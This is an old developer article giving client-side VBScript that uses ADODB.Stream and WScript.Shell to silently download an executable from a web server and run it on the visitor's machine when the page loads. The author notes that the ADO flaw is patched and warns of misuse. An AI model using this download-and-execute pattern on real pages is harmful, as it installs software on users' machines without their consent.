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NB: this article exploited a flaw in ADO that has since been patched. I am leaving it up for informational purposes only.
You'd like to have a page on your company
Intranet or your Web site that automatically downloads and installs some
piece of software whenever a new visitor is directed (or redirected) to
that page. You want to avoid having to prompt people to "download"
the file, and you want to avoid generating those download "dialogs"
that users can say "NO" to. In short, you want it to just "happen".
Well, you're in luck, and you don't need to create code-signed CAB files
with INF files inside them and crazy OBJECT TAGS with weird ClassID's
either. Thanks to the wonders of the ADODB Stream Object and the Windows
Script Host Shell object, as long as the client is running IE 5.0 or greater
and has at least MDAC 2.5 installed, you're in business!
To test the following code as written,
you'll need to copy Notepad.exe to your web root. We're going to Download
Notepad.exe from the webserver and then RUN IT on the client. Here's the
basics of some client - side VBScript that will do the whole job the second
the page hits the visitor's browser:
<!--METADATA
TYPE="typelib"
UUID="00000205-0000-0010-8000-00AA006D2EA4"
NAME="ADODB Type Library"
-->
<HTML>
<HEAD>
<script language=VBScript >
'===============================================================
' Example using ADODB Stream Object to load resource from server
' and deposit in specified directory on client, using client-side
' script
' Peter Bromberg
'================================================================
' Don't need the TypeLib METADATA at the top if you specify the constants
by numeric value instead of by name
' Set
up an ADO Stream ....
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
' The following should be the absolute URL to the file on the server.....
objStream.Open ("URL=http://localhost/notepad.exe")
document.write "<CENTER>Loaded...<BR>"
' This should be the full path and filename to save the file on the client....
objStream.SaveToFile "C:\TEMP\notepad.exe", 2 ' adSaveCreateOverWrite
document.write "saved..<BR>"
objStream.Close
Set objStream = Nothing
' Now we'll "run" the file....
Dim WshShell
Set WshShell =CreateObject("WScript.Shell")
WshShell.Run ("c:\temp\notepad.exe")
Set WsShell = Nothing
</script>
<TITLE>Download and Install Page</TITLE>
</HEAD>
<BODY>
DONE!</CENTER>
</BODY>
</HTML>
Note that the Stream Object allows us to
specify URLS for the source using the familiar scheme://server/path/resource
construct. We need to preface this with "URL=
in our stream.Open Method call. If a provider supports URLs, it will register
for one or more URL schemes. This means that any URLs using this scheme
will automatically invoke the registered provider. For example, the http
scheme is registered to the Microsoft OLE DB Provider for Internet Publishing.
ADO assumes all URLs prefixed with "http" represent Web folders
or files to be used with the Internet Publishing Provider. There's plenty
of documentation in the MDAC 2.6 CHM help file on this and the related
issues. Well worth a good read!
And of course, once our resource is on
the client's file system, we only need to use the Run Method of the Windows
Script Host Shell Collection Object to execute it. Here of course we are
opening up Notepad, but this could just as easily be an Installshield
Installation EXE or even a Flash movie Projector EXE. Obviously, you have
a number of other issues you can address here, such as whether the download
folder exists, what to do with the file when we're done, etc. Most of
this can be handled by additional script methods, or by stuff within the
install EXE itself. Also, you should be aware that browser and filesystem
security settings may need to be tweaked for this technique. Have fun
programming, and practice "safe computer", as this technique
has the potential to be misused.
Peter Bromberg is an independent consultant specializing in distributed .NET solutionsa Senior Programmer
/Analyst at in Orlando and a co-developer of the EggheadCafe.com
developer website. He can be reached at pbromberg@yahoo.com
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